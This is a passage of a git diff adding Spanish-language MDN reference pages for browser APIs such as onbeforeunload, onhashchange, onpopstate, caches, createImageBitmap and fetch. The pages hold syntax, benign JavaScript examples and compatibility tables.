+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatNo}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/es/web/api/windoweventhandlers/onbeforeunload/index.html b/files/es/web/api/windoweventhandlers/onbeforeunload/index.html
new file mode 100644
index 0000000000..308096a56a
--- /dev/null
+++ b/files/es/web/api/windoweventhandlers/onbeforeunload/index.html
@@ -0,0 +1,81 @@
+---
+title: Window.onbeforeunload
+slug: Web/API/WindowEventHandlers/onbeforeunload
+translation_of: Web/API/WindowEventHandlers/onbeforeunload
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary">Introducción</h2>
+<p>Evento que se ejecuta antes de abandonar la página, justo antes de que se ejecute {{domxref("window.onunload","window.onunload")}}. El documento aún está visible y {{domxref("event.preventDefault","el evento aún se puede cancelar")}}.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">window.onbeforeunload = <var>funcRef</var></pre>
+<ul>
+ <li><code>funcRef</code> es una referencia a una función o una función anónima.</li>
+ <li>La función debe asignar una cadena de texto como propiedad <code>returnValue</code> del objeto Event y devolver la misma cadena.</li>
+ <li>Nota: en Firefox 4 y superiores la cadena de texto no se muestra al usuario (ver {{bug("588292")}}).</li>
+</ul>
+<h2 id="Example" name="Example">Ejemplo</h2>
+<pre class="brush:js">window.onbeforeunload = function(e) {
+  return 'Texto de aviso';
+};
+</pre>
+<h2 id="Notas">Notas</h2>
+<p><span id="result_box" lang="es"><span class="hps">Cuando</span> <span class="hps">este evento</span> <span class="hps">devuelve un</span> <span class="hps">valor que no sea</span> <span class="hps">nulo,</span> <span class="hps">se solicita al usuario</span> <span class="hps">que confirme que quiere abandonar la página</span><span class="hps">.</span> <span class="hps">En la mayoría de</span> <span class="hps">los navegadores</span><span>, el valor</span> <span class="hps">de retorno del evento</span> <span class="hps">se muestra en</span> <span class="hps">este cuadro de diálogo</span><span>.</span></span></p>
+<p>Desde el 25 de mayo de 2011, los estados de la <a href="http://www.w3.org/TR/html5-diff/#changes-2011-05-25" title="http://www.w3.org/TR/html5-diff/#changes-2011-05-25">especificación HTML5</a> que llaman a los métodos {{domxref("window.showModalDialog()")}}, {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} y {{domxref("window.prompt()")}} pueden ser ignorados en este evento.</p>
+<p>Se <em>puede</em> y se <em>debería</em> controlar este evento con {{domxref("EventTarget.addEventListener","window.addEventListener()")}} y el <a href="/en-US/docs/Mozilla_event_reference/beforeunload" title="Mozilla_event_reference/unload">evento <code>beforeunload</code></a> (más información en los enlaces).</p>
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>1</td>
+    <td>1</td>
+    <td>4</td>
+    <td>12</td>
+    <td>3</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specification" name="Specification">Especificación</h2>
+<p>Este evento fue introducido originalmente por Microsoft en Internet Explorer 4 y estandarizado en la especificación HTML5.</p>
+<ul>
+ <li>{{spec("http://dev.w3.org/html5/spec-LC/history.html#unloading-documents", "Especificación HTML5: <em>Browsing the Web, Unloading documents</em>", "LC")}} (en inglés)</li>
+</ul>
+<h2 id="See also" name="See also">Ver también</h2>
+<ul>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ms536907(VS.85).aspx">MSDN: evento onbeforeunload</a> (en inglés)</li>
+</ul>
diff --git a/files/es/web/api/windoweventhandlers/onhashchange/index.html b/files/es/web/api/windoweventhandlers/onhashchange/index.html
new file mode 100644
index 0000000000..282176df2b
--- /dev/null
+++ b/files/es/web/api/windoweventhandlers/onhashchange/index.html
@@ -0,0 +1,165 @@
+---
+title: WindowEventHandlers.onhashchange
+slug: Web/API/WindowEventHandlers/onhashchange
+tags:
+  - HTML-DOM
+  - JavaScript
+  - Propiedades
+  - Referencia
+  - WindowEventHandlers
+  - eventos
+translation_of: Web/API/WindowEventHandlers/onhashchange
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>El evento <strong>hashchange</strong> se dispara cuando la almohadilla ha cambiado (ver {{domxref("Window.location", "location.hash")}}).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">window.onhashchange = funcRef;
+</pre>
+
+<p><strong>ó</strong></p>
+
+<pre class="syntaxbox">&lt;body onhashchange="funcRef();"&gt;
+</pre>
+
+<p><strong>ó</strong></p>
+
+<pre class="syntaxbox">window.addEventListener("hashchange", funcRef, false);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>funcRef</code></dt>
+ <dd>Una referencia a una función.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">if ("onhashchange" in window) {
+    alert("¡El navegador soporta el evento hashchange!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+</pre>
+
+<h2 id="El_evento_hashchange">El evento hashchange</h2>
+
+<p>El evento <code>hashchange</code> enviado, tiene los siguientes campos:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Campo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>newURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>La URL nueva hacia la cual la ventana está navegando.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>La URL anterior desde la cual la ventana navegó.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>
+    <p>8.0</p>
+
+    <p><code style="font-size: 14px;">los atributos oldURL</code>/<code style="font-size: 14px;">newURL no estan soportados.</code></p>
+   </td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating the browser history">Manipulando el historial del navegador</a>, metodos <a href="/en-US/docs/DOM/window.history" title="DOM/window.history">history.pushState() y history.replaceState()</a>, evento <a href="/en-US/docs/DOM/window.onpopstate" title="DOM/window.onpopstate">popstate</a>.</li>
+</ul>
diff --git a/files/es/web/api/windoweventhandlers/onpopstate/index.html b/files/es/web/api/windoweventhandlers/onpopstate/index.html
new file mode 100644
index 0000000000..5ee8539dbd
--- /dev/null
+++ b/files/es/web/api/windoweventhandlers/onpopstate/index.html
@@ -0,0 +1,74 @@
+---
+title: WindowEventHandlers.onpopstate
+slug: Web/API/WindowEventHandlers/onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<div>{{APIRef}}</div>
+
+<p>La propiedad <strong><code>onpopstate</code></strong> del <a href="/en-US/docs/Glossary/Mixin">mixin</a> {{domxref("WindowEventHandlers")}} es el {{domxref("EventHandler")}} para procesar eventos <code><a href="/en-US/docs/Web/API/Window/popstate_event">popstate</a></code> de la ventana.</p>
+
+<p>Se evnía un evento <code>popstate</code> a la ventana cada vez que la entrada activa de la historia cambia entre otra otras dos entradas del mismo documento. Si la entrada de la historia fue creada al llamar a <code>history.pushState()</code>, o fue afectada por una llamada a <code>history.replaceState()</code>, la propiedad <code>state</code> del evento <code>popstate</code> contendrá una copia del objeto de estado de la entrada de la hisotria.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Llamar a <code>history.pushState()</code> o a <code>history.replaceState()</code> no dispararán un evento <code>popstate</code>. El evento <code>popstate</code> solamente se dispará realizando una acción de navegador, tal como pulsar el botón volver (o llamando a <code>history.back()</code> en JavaScript), mientras se navega entre dos entradas de la historia de un mismo documento.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">window.onpopstate = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> es una función manejadora (handler).</li>
+</ul>
+
+<h2 id="The_popstate_event" name="The_popstate_event">El evento popstate</h2>
+
+<p>Por ejemplo, la página en <code>http://example.com/example.html</code> ejecutando el código siguiente, generará alertas como se indica.:</p>
+
+<pre class="brush:js">window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>Tenga en cuenta que, a pesar de que la entrada original (para <code>http://example.com/example.html</code>) no tiene un objeto de estado asociado, el evento <code>popstate</code> se dispara igualemente cuando se activa la entrada después de la segunda llamada a <code>history.back()</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#handler-window-onpopstate', 'onpopstate')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onpopstate")}}</p>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history">Manipulando la historia del navegador</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example">Ejemplo de navegación con Ajax</a></li>
+</ul>
diff --git a/files/es/web/api/windoworworkerglobalscope/caches/index.html b/files/es/web/api/windoworworkerglobalscope/caches/index.html
new file mode 100644
index 0000000000..c8d3a71b97
--- /dev/null
+++ b/files/es/web/api/windoworworkerglobalscope/caches/index.html
@@ -0,0 +1,127 @@
+---
+title: WindowOrWorkerGlobalScope.caches
+slug: Web/API/WindowOrWorkerGlobalScope/caches
+translation_of: Web/API/WindowOrWorkerGlobalScope/caches
+---
+<p>{{APIRef()}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de sólo-lectura <code><strong>caches</strong></code>, de la interfaz {{domxref("WindowOrWorkerGlobalScope")}}, devuelve el objeto {{domxref("CacheStorage")}} asociado al contexto actual. Este objeto habilita funcionalidades como guardar assets para su utilización <em>offline</em>, y generar respuestas personalizadas a las peticiones.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>myCacheStorage</em> = self.caches; // or just caches
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un objeto {{domxref("CacheStorage")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo muestra la forma en la que utilizarías una cache en un contexto de <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> para guardar assets <em>offline</em>.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll(
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      );
+    })
+  );
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definido en un <code>WindowOrWorkerGlobalScope</code> parcial en la última especificación.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>40.0</td>
+   <td>{{CompatGeckoDesktop(42)}}<br>
+    {{CompatGeckoDesktop(52)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(42)}}<br>
+    {{CompatGeckoMobile(52)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] las <code>caches</code> se definen ahora en el mixin {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li>{{domxref("CacheStorage")}}</li>
+ <li>{{domxref("Cache")}}</li>
+</ul>
diff --git a/files/es/web/api/windoworworkerglobalscope/createimagebitmap/index.html b/files/es/web/api/windoworworkerglobalscope/createimagebitmap/index.html
new file mode 100644
index 0000000000..e24e4b11f4
--- /dev/null
+++ b/files/es/web/api/windoworworkerglobalscope/createimagebitmap/index.html
@@ -0,0 +1,108 @@
+---
+title: self.createImageBitmap()
+slug: Web/API/WindowOrWorkerGlobalScope/createImageBitmap
+tags:
+  - API
+  - Canvas
+  - DOM
+  - Referencia
+  - WindowOrWorkerGlobalScope
+  - createImageBitmap
+  - metodo
+translation_of: Web/API/WindowOrWorkerGlobalScope/createImageBitmap
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>El método <code><strong>createImageBitmap()</strong></code> crea un <em>bitmap</em> a partir de un recurso especificado, opcionalmente recortado para mostrar únicamente una porción de este. El método existe a nivel global como parte, tanto de las ventanas (<em>window</em>), como de los <em>workers</em>. Este admite una variedad de tipos de entrada, y devuelve una {{domxref("Promise")}} que es resuelta con un {{domxref("ImageBitmap")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">createImageBitmap(<em>image</em>[, options]).then(function(response) { ... });
+createImageBitmap(<em>image, sx, sy, sw, sh</em>[, options]).then(function(response) { ... });</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>image</code></dt>
+ <dd>Un recurso/imagen origen, que puede uno de los siguientes elementos: {{HTMLElement("img")}}, SVG {{SVGElement("image")}}, {{HTMLElement("video")}}, {{HTMLElement("canvas")}}, {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("Blob")}}, {{domxref("ImageData")}}, {{domxref("ImageBitmap")}}, o {{domxref("OffscreenCanvas")}}.</dd>
+ <dt><code>sx</code></dt>
+ <dd>La coordenada x del rectángulo que será usado para la extracción del <code>ImageBitmap</code>.</dd>
+ <dt><code>sy</code></dt>
+ <dd>La coordenada y del rectángulo que será usado para la extracción del <code>ImageBitmap</code>.</dd>
+ <dt><code>sw</code></dt>
+ <dd>La anchura del rectángulo que será usado para extraer el <code>ImageBitmap</code>. El valor podría ser negativo.</dd>
+ <dt><code>sh</code></dt>
+ <dd>La altura del rectángulo que será usado para extraer el <code>ImageBitmap</code>. El valor podría ser negativo.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objeto que proporciona opciones para la extracción de la imagen. Las opciones posibles son:
+ <ul>
+  <li><code>imageOrientation</code>: Especifica si la imagen debe ser extraida tal y como se muestra, o debe ser volteada verticalmente. Las valores posibles: <code>none</code> (por defecto) o <code>flipY</code>.</li>
+  <li><code>premultiplyAlpha</code>: Especifica si los canales de color del mapa de bits generado deben premultiplicarse por el canal alpha. Uno de: <code>none</code>, <code>premultiply</code>, o <code>default</code> (por defecto).</li>
+  <li><code>colorSpaceConversion</code>: Especifica si la imagen debe ser decodificada usando conversión del espacio de color. Uno de: <code>none</code> o <code>default</code> (por defecto). El valor <code>default</code> indica que se usará la implementación que haya disponible.</li>
+  <li><code>resizeWidth</code>: Un entero largo que especifica la anchura final.</li>
+  <li><code>resizeHeight</code>: Un entero largo que especifica la altura final.</li>
+  <li><code>resizeQuality</code>: Especifica que algorítmo debe ser usado en el redimensionado para alcanzar las dimensiones deseadas. Uno de estos valores: <code>pixelated</code>, <code>low</code> (por defecto), <code>medium</code>, o <code>high</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una {{domxref("Promise")}} que es resuelta con un objeto {{domxref("ImageBitmap")}}, el cual contiene los datos del mapa de bits generado para el rectángulo dado.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Creando_sprites_desde_un_sprite_sheet">Creando <em>sprites</em> desde un <em>sprite sheet</em></h3>
+
+<p>El siguiente ejemplo carga un<em> sprite sheet</em>, extrae los <em>sprites</em>, y muestra cada uno de ellos en el <em>canvas</em>. Un <em>sprite sheet</em> es una imagen que contiene multiples imágenes más pequeñas, que finalmente son utilizadas de manera individual.</p>
+
+<pre class="brush: js  language-js">var canvas = document.getElementById('myCanvas'),
+ctx = canvas.getContext('2d'),
+image = new Image();
+
+// Esperar que el sprite sheet se cargue
+image.onload = function() {
+  Promise.all([
+    // Recortar dos sprites del conjunto
+    createImageBitmap(image, 0, 0, 32, 32),
+    createImageBitmap(image, 32, 0, 32, 32)
+  ]).then(function(sprites) {
+    // Pintar cada uno de los sprites en el canvas
+    ctx.drawImage(sprites[0], 0, 0);
+    ctx.drawImage(sprites[1], 32, 32);
+  });
+}
+
+// Cargar el sprite sheet desde un archivo de imagen
+image.src = 'sprites.png';
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col"> Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "webappapis.html#dom-createimagebitmap", "createImageBitmap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.createImageBitmap")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+</ul>
diff --git a/files/es/web/api/windoworworkerglobalscope/fetch/index.html b/files/es/web/api/windoworworkerglobalscope/fetch/index.html
new file mode 100644
index 0000000000..9540fe5d05
--- /dev/null
+++ b/files/es/web/api/windoworworkerglobalscope/fetch/index.html
@@ -0,0 +1,177 @@
+---
+title: WindowOrWorkerGlobalScope.fetch()
+slug: Web/API/WindowOrWorkerGlobalScope/fetch
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Fetch API
+  - GlobalFetch
+  - Petición
+  - Referencia
+  - metodo
+  - solicitud
+translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>El método <code><strong>fetch()</strong></code> del mixin {{domxref("WindowOrWorkerGlobalScope")}} lanza el proceso de solicitud de un recurso de la red. Esto devuelve una promesa que resuelve al objeto {{domxref("Response")}} que representa la respuesta a la solicitud realizada.</p>
+
+<p>Tanto {{domxref("Window")}} como {{domxref("WorkerGlobalScope")}} implementan <code>WorkerOrGlobalScope</code>, por lo que el método <code>fetch()</code> está disponible en prácticamente cualquier contexto desde el que se pueda necesitar solicitar un recurso.</p>
+
+<p>Una promesa {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} se rechaza con un {{jsxref("TypeError")}} cuando sucede un error en la red, aunque normalmente significa un tema de permisos o similar. Una comprobación más precisa de una solicitud con <code>fetch()</code> debería comprobar que la promesa se resuelve, y que la propiedad {{domxref("Response.ok")}} tiene valor <code>true</code>. Un estatus HTTP 404 no constituye un error de red.</p>
+
+<p>El método <code>fetch()</code> es controlado por la directiva <code>connect-src</code> de la <a href="/en-US/docs/Security/CSP/CSP_policy_directives">Política de Seguridad de Contenido (Content Security Policy)</a> en lugar de la directiva del recurso que se solicita.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los parámetros del método <code>fetch()</code> son indénticos a los del constructor de {{domxref("Request.Request","Request()")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Promise&lt;Response&gt; fetch(input[, init]);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>input</em></dt>
+ <dd>Define el recurso que se quiere solicitar. Puede ser:
+ <ul>
+  <li>Un {{domxref("USVString")}} con la URL del recurso a solicitar. Algunos navegadores aceptan los esquemas <code>blob:</code> y <code>data:</code>.</li>
+  <li>Un objeto {{domxref("Request")}}.</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>Objeto de opciones que contiene configuraciones para personalizar la solicitud. Estas opciones pueden ser:
+ <ul>
+  <li><code>method</code>: El método de solicitud, p.ej., <code>GET</code>, <code>POST</code>.</li>
+  <li><code>headers</code>: Cualquier cabecera que se quiera añadir a la solicitud, contenidas en un objeto {{domxref("Headers")}} o un objeto literal con valores {{domxref("ByteString")}}.</li>
+  <li><code>body</code>: Cualquier cuerpo que se quiera añadir a la solicitud: puede ser un {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, u objeto {{domxref("USVString")}}. Nótese que las solicitudes con métodos <code>GET</code> o <code>HEAD</code> no pueden tener cuerpo.</li>
+  <li><code>mode</code>: El modo a usar en la solicitud, p.ej., <code>cors</code>, <code>no-cors</code>, o <code>same-origin</code>.</li>
+  <li><code>credentials</code>: Las credenciales que se quieran utilizar para la solicitud: <code>omit</code>, <code>same-origin</code>, o <code>include</code>. Para enviar automáticamente las cookies del dominio actual, debe indicarse esta opción. Desde Chrome 50, esta propiedad también acepta una instancia de {{domxref("FederatedCredential")}} o de {{domxref("PasswordCredential")}}.</li>
+  <li><code>cache</code>: El modo de caché a utilizar en la solicitud: <code>default</code>, <code>no-store</code>, <code>reload</code>, <code>no-cache</code>, <code>force-cache</code>, o <code>only-if-cached</code>.</li>
+  <li><code>redirect</code>: El modo de redirección a usar: <code>follow</code> (seguir redirecciones automáticamente), <code>error</code> (abortar si sucede un error durante la redirección), o <code>manual</code> (gestionar redirecciones manualmente). El valor por defecto en Chrome es <code>follow</code> (hasta la versión 46 era <code>manual</code>).</li>
+  <li><code>referrer</code>: Un {{domxref("USVString")}} que especifique <code>no-referrer</code>, <code>client</code>, o una URL. El valor por defecto es <code>client</code>.</li>
+  <li><code>referrerPolicy</code>: Especifica el valor de la cabecera HTTP referer. Puede ser <code>no-referrer</code>, <code>no-referrer-when-downgrade</code>, <code>origin</code>, <code>origin-when-cross-origin</code>, <code>unsafe-url</code>.</li>
